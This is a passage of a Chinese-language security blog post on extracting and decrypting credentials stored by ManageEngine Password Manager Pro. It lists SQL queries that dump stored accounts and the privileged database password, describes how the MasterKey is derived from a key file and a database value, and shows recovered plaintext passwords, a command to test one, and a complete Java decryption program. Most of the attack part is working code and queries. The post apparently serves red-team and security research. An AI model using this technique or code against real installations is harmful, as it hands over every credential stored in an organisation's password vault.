src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-2.png" alt="Alt text" /></p> <p>password的加密格式为<code class="language-plaintext highlighter-rouge">bcrypt(sha512($pass)) / bcryptsha512 *</code>,对应Hashcat的Hash-Mode为<code class="language-plaintext highlighter-rouge">28400</code></p> <p>其中,<code class="language-plaintext highlighter-rouge">salt</code>项被加密</p> <h4 id="2数据库高权限用户的口令">(2)数据库高权限用户的口令</h4> <p>查询命令:<code class="language-plaintext highlighter-rouge">select * from DBCredentialsAudit;</code></p> <p>输出如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> username | password | last_modified_time ----------+----------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------- postgres | \xc30c0409010246e50cc723070408d23b0187325463ff95c0ff5c8f9013e7a37f424b5e0d1f2c11ce97c7184e112cd81536ac90937f99838124dee88239d9444ba8aff26f1a9ff29f22f4b5 | 2022-09-01 11:11:11.111 (1 row) </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">password</code>项被加密</p> <h4 id="3保存的凭据">(3)保存的凭据</h4> <p>查询命令:<code class="language-plaintext highlighter-rouge">select * from ptrx_passbasedauthen;</code></p> <p>结果如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-3.png" alt="Alt text" /></p> <p><code class="language-plaintext highlighter-rouge">password</code>项被加密</p> <p>导出凭据相关完整信息的查询命令:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, ptrx_passbasedauthen.PASSWORD from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID; </code></pre></div></div> <p><strong>注:</strong></p> <p>该命令引用自https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/</p> <p>结果如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/2-4.png" alt="Alt text" /></p> <h2 id="0x03-解密方法">0x03 解密方法</h2> <hr /> <p>加解密算法细节位于<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar</code>中的<code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class</code>和<code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPAPI.class</code></p> <p>解密流程如下:</p> <h4 id="1计算masterkey">(1)计算MasterKey</h4> <p>代码实现位置:<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar</code>-&gt;<code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPAPI.class</code>-&gt;<code class="language-plaintext highlighter-rouge">GetEnterpriseKey()</code></p> <p>如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-1.png" alt="Alt text" /></p> <p>首先需要获得<code class="language-plaintext highlighter-rouge">enterpriseKey</code>,通过查询数据库获得,查询命令:<code class="language-plaintext highlighter-rouge">select NOTESDESCRIPTION from Ptrx_NotesInfo;</code></p> <p>输出为:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> notesdescription ---------------------------------------------- D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U= (1 row) </code></pre></div></div> <p>这里可以得到<code class="language-plaintext highlighter-rouge">enterpriseKey</code>为<code class="language-plaintext highlighter-rouge">D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=</code></p> <p>解密<code class="language-plaintext highlighter-rouge">enterpriseKey</code>的实现代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enterpriseKey = getInstance().getPMPED().decryptPassword(enterpriseKey); </code></pre></div></div> <p>跟进一步,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-2.png" alt="Alt text" /></p> <p>解密的密钥通过<code class="language-plaintext highlighter-rouge">getPmp32BitKey()</code>获得,对应的代码实现位置:<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar</code>-&gt;<code class="language-plaintext highlighter-rouge">com.adventnet.passtrix.ed.PMPAPI.class</code>-&gt;<code class="language-plaintext highlighter-rouge">get32BitPMPConfKey()</code></p> <p>代码实现细节如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-3.png" alt="Alt text" /></p> <p>这里需要先读取文件<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\conf\manage_key.conf</code>获得<code class="language-plaintext highlighter-rouge">PMPConfKey</code>的保存位置,默认配置下输出为:<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\conf\pmp_key.key</code></p> <p>查看<code class="language-plaintext highlighter-rouge">C:\Program Files\ManageEngine\PMP\conf\pmp_key.key</code>的文件内容:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ENCRYPTIONKEY=60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM\= </code></pre></div></div> <p>通过动态调试发现,这里存在转义字符的问题,需要去除字符<code class="language-plaintext highlighter-rouge">\</code>,文件内容为<code class="language-plaintext highlighter-rouge">60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM\=</code>,对应的<code class="language-plaintext highlighter-rouge">PMPConfKey</code>为<code class="language-plaintext highlighter-rouge">60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=</code></p> <p>至此,我们得到以下内容:</p> <ul> <li>PMPConfKey为<code class="language-plaintext highlighter-rouge">60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=</code></li> <li>enterpriseKey为<code class="language-plaintext highlighter-rouge">D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=</code></li> </ul> <p>通过解密程序,最终可计算得出<code class="language-plaintext highlighter-rouge">MasterKey</code>为<code class="language-plaintext highlighter-rouge">u001JO4dpWI(%!^#</code></p> <h4 id="2使用masterkey解密数据库中的数据">(2)使用MasterKey解密数据库中的数据</h4> <p>数据库中的加密数据均是以<code class="language-plaintext highlighter-rouge">\x</code>开头的格式</p> <p>解密可通过查询语句完成</p> <p>解密数据库高权限用户口令的命令示例:<code class="language-plaintext highlighter-rouge">select decryptschar(password,'u001JO4dpWI(%!^#') from DBCredentialsAudit;</code></p> <p>输出如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-4.png" alt="Alt text" /></p> <p>这里直接获得了明文口令<code class="language-plaintext highlighter-rouge">N5tGp!R@oj</code>,测试该口令是否有效的命令:<code class="language-plaintext highlighter-rouge">"C:\Program Files\ManageEngine\PMP\pgsql\bin\psql" "host=127.0.0.1 port=2345 dbname=PassTrix user=postgres password=N5tGp!R@oj"</code></p> <p>连接成功,证实口令解密成功,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-5.png" alt="Alt text" /></p> <p>解密保存凭据的命令示例:<code class="language-plaintext highlighter-rouge">select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'u001JO4dpWI(%!^#') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID;</code></p> <p>输出如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-6.png" alt="Alt text" /></p> <p>提取出数据为<code class="language-plaintext highlighter-rouge">PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k=</code></p> <h4 id="3使用pmpconfkey解密得到最终的明文">(3)使用<code class="language-plaintext highlighter-rouge">PMPConfKey</code>解密得到最终的明文</h4> <p>通过解密程序,最终可计算得出明文为<code class="language-plaintext highlighter-rouge">iP-6pI24)-</code></p> <p>登录Web管理后台,确认解密的明文是否正确,如图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-8-17/3-7.png" alt="Alt text" /></p> <p>解密成功</p> <h2 id="0x03-开源代码">0x03 开源代码</h2> <hr /> <p>以上测试的完整实现代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import java.security.*; import java.security.spec.InvalidKeySpecException; import java.util.Base64; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; class PimpMyPMP { private static Cipher cipher; private void initCiper(byte[] aeskey, int opmode, byte[] ivArr) throws Exception { try { cipher = Cipher.getInstance("AES/CTR/PKCS5PADDING"); SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); PBEKeySpec spec = new PBEKeySpec((new String(aeskey, "UTF-8")).toCharArray(), new byte[]{1, 2, 3, 4, 5, 6, 7, 8}, 1024, 256); SecretKey temp = factory.generateSecret(spec); SecretKey secret = new SecretKeySpec(temp.getEncoded(), "AES"); cipher.init(opmode, secret, new IvParameterSpec(ivArr)); } catch (NoSuchAlgorithmException var8) { var8.printStackTrace(); throw new Exception("Exception occurred while encrypting", var8); } catch (NoSuchPaddingException var9) { var9.printStackTrace(); throw new Exception("Exception occurred while encrypting", var9); } catch (InvalidKeyException var10) { var10.printStackTrace(); throw new Exception("Exception occurred while encrypting", var10); } catch (InvalidAlgorithmParameterException var11) { var11.printStackTrace(); throw new Exception("Exception occurred while encrypting", var11); } catch (InvalidKeySpecException var12) { var12.printStackTrace(); throw new Exception("Exception occurred while encrypting", var12); } } private byte[] getPasswordWOIv(byte[] password, int opmode) throws Exception { if (opmode == 1) { return password; } else { int pLen = password.length; byte[] pwdArr = new byte[pLen - 16]; int j = 0; for(int i = 16; i &lt; pLen; ++i) { pwdArr[j] = password[i]; ++j; } return pwdArr; } } private byte[] getIvBytes(byte[] password, int opmode) throws Exception { byte[] ivbyteArr = new byte[16]; if (opmode == 1) { SecureRandom srand = new SecureRandom(); srand.nextBytes(ivbyteArr); } else if (opmode == 2) { for(int i = 0; i &lt; 16; ++i) { ivbyteArr[i] = password[i]; } } return ivbyteArr; } private byte[] padding(String password) { for(int i = password.length(); i &lt; 32; ++i) { password = password + " "; } if (password.length() &gt; 32) { try { return Base64.getDecoder().decode(password); } catch (IllegalArgumentException var3) { return password.getBytes(); } } else { return password.getBytes(); } } public byte[] decrypt(byte[] cipherText, String key) throws Exception { return this.decrypt(cipherText, this.padding(key)); } public synchronized byte[] decrypt(byte[] cipherText, byte[] key) throws Exception { try { byte[] ivArr = this.getIvBytes(cipherText, 2); this.initCiper(key, 2, ivArr); byte[] cipherTextFinal = this.getPasswordWOIv(cipherText, 2); return cipher.doFinal(cipherTextFinal); } catch (IllegalBlockSizeException var5) { throw new Exception("Exception occurred while encrypting", var5); } catch (BadPaddingException var6) { throw new Exception("Exception occurred while encrypting", var6); } } private static String hardcodedDBKey() throws NoSuchAlgorithmException { String key = "@dv3n7n3tP@55Tri*".substring(5, 10); MessageDigest md = MessageDigest.getInstance("MD5"); md.update(key.getBytes()); byte[] bkey = md.digest(); StringBuilder sb = new StringBuilder(bkey.length * 2); for(byte b: bkey) { sb.append(String.format("%02x", b)); } return sb.toString(); } public String decryptDatabasePassword(String encPassword) throws Exception { String decryptedPassword = null; if (encPassword != null) { try { decryptedPassword = this.decryptPassword(encPassword, PimpMyPMP.hardcodedDBKey()); } catch (Exception e) { throw new Exception("Exception ocuured while decrypt the password"); } return decryptedPassword; } throw new Exception("Password should not be Null"); } public String decryptPassword(String encryptedPassword, String key) throws Exception { String decryptedPassword = null; if (encryptedPassword != null &amp;&amp; !"".equals(encryptedPassword)) { try { byte[] encPwdArr = org.apache.commons.codec.binary.Base64.decodeBase64(encryptedPassword.getBytes()); byte[] decryptedPwdArr = this.decrypt(encPwdArr, key); decryptedPassword = new String(decryptedPwdArr, "UTF-8"); } catch (Exception var5) { var5.printStackTrace(); } return decryptedPassword; } else { return encryptedPassword; } } public static void main(String[] args) { PimpMyPMP klass = new PimpMyPMP(); try { String database_password = "fCYxcAlHx+u/J+aWJFgCJ3vz+U69Uj4i/9U="; String database_key = klass.decryptDatabasePassword(database_password); System.out.print("Database Key: "); System.out.println(database_key); String pmp_password = "60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM="; String notesdescription = "D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U="; String master_key = klass.decryptPassword(notesdescription, pmp_password); System.out.print("Master Key: "); System.out.println(master_key); String endata = "PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k="; String password = klass.decryptPassword(endata,pmp_password); System.out.print("Passwd: "); System.out.println(password); } catch (Exception e){ System.out.println("Fail!"); } } } </code></pre></div></div> <p>代码修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey时的Bug,更具通用性</p> <h2 id="0x04-小结">0x04 小结</h2> <hr /> <p>本文介绍了Password Manager Pro数据解密的完整方法,修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey时的Bug,更具通用性。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Wed, 17 Aug 2022 00:00:00 +0000 https://3gstudent.github.io//Password-Manager-Pro%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90-%E6%95%B0%E6%8D%AE%E8%A7%A3%E5%AF%86 https://3gstudent.github.io/Password-Manager-Pro%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90-%E6%95%B0%E6%8D%AE%E8%A7%A3%E5%AF%86